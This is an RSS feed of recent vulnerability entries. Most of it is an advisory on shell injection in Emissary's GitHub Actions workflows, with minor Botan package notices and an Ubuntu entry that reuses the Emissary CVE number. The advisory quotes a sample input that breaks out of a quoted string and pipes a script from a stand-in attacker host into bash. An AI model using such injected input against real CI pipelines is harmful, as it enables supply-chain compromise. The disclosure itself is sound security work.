https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Thu, 08 Oct 2026 11:29:06 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-281131 EUVD-2026-281131 https://cve.radiocsirt.org/vuln/euvd-2026-281131 https://cve.radiocsirt.org/vuln/fkie_cve-2026-35580 <p>Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.</p> <p>Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-35580 https://cve.radiocsirt.org/vuln/ghsa-3g6g-gq4r-xjm9 <p><strong>Affected:</strong> Maven: gov.nsa.emissary:emissary</p> <p>## Summary</p> <p>Three GitHub Actions workflow files contained **10 shell injection points** where user-controlled `workflow_dispatch` inputs were interpolated directly into shell commands via `${{ }}` expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.</p> <p>## Affected Files</p> <p>| Workflow file | Injection points | |------------------------------------------|------------------| | `.github/workflows/maven-version.yml` | 4 | | `.github/workflows/cherrypick.yml` | 5 | | `.github/workflows/maven-release.yml` | 1 |</p> <p>## Details</p> <p>GitHub Actions `${{ }}` expressions inside `run:` blocks are substituted **before** the shell interprets the command. When a `workflow_dispatch` input is placed directly in a `run:` block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.</p> <p>### Example — `maven-version.yml` (before fix)</p> <p>```yaml - name: Set the name of the branch run: echo &#34;PR_BRANCH=action/${{ github.event.inputs.next_version }}&#34; &gt;&gt; &#34;$GITHUB_ENV&#34; ```</p> <p>A malicious input such as `1.0.0&#34;; curl attacker.com/backdoor.sh | bash; echo &#34;` would be interpolated directly into the shell, executing arbitrary commands with the job&#39;s `GITHUB_TOKEN` permissions (`contents: write`, `pull-requests: write`).</p> <p>### Impact</p> <p>- Arbitrary code exe…</p> <p><strong>Affected:</strong> Maven: gov.nsa.emissary:emissary</p> <p>## Summary</p> <p>Three GitHub Actions workflow files contained **10 shell injection points** where user-controlled `workflow_dispatch` inputs were interpolated directly into shell commands via `${{ }}` expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.</p> <p>## Affected Files</p> <p>| Workflow file | Injection points | |------------------------------------------|------------------| | `.github/workflows/maven-version.yml` | 4 | | `.github/workflows/cherrypick.yml` | 5 | | `.github/workflows/maven-release.yml` | 1 |</p> <p>## Details</p> <p>GitHub Actions `${{ }}` expressions inside `run:` blocks are substituted **before** the shell interprets the command. When a `workflow_dispatch` input is placed directly in a `run:` block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.</p> <p>### Example — `maven-version.yml` (before fix)</p> <p>```yaml - name: Set the name of the branch run: echo &#34;PR_BRANCH=action/${{ github.event.inputs.next_version }}&#34; &gt;&gt; &#34;$GITHUB_ENV&#34; ```</p> <p>A malicious input such as `1.0.0&#34;; curl attacker.com/backdoor.sh | bash; echo &#34;` would be interpolated directly into the shell, executing arbitrary commands with the job&#39;s `GITHUB_TOKEN` permissions (`contents: write`, `pull-requests: write`).</p> <p>### Impact</p> <p>- Arbitrary code exe…</p> https://cve.radiocsirt.org/vuln/ghsa-3g6g-gq4r-xjm9 https://cve.radiocsirt.org/vuln/opensuse-su-2026:10540-1 <p>Botan-3.11.1-1.1 on GA media</p> <p>Botan-3.11.1-1.1 on GA media</p> https://cve.radiocsirt.org/vuln/opensuse-su-2026:10540-1 https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-35580 <p><strong>Affected:</strong> Ubuntu:25.10: botan3</p> <p>[Unknown description]</p> <p><strong>Affected:</strong> Ubuntu:25.10: botan3</p> <p>[Unknown description]</p> https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-35580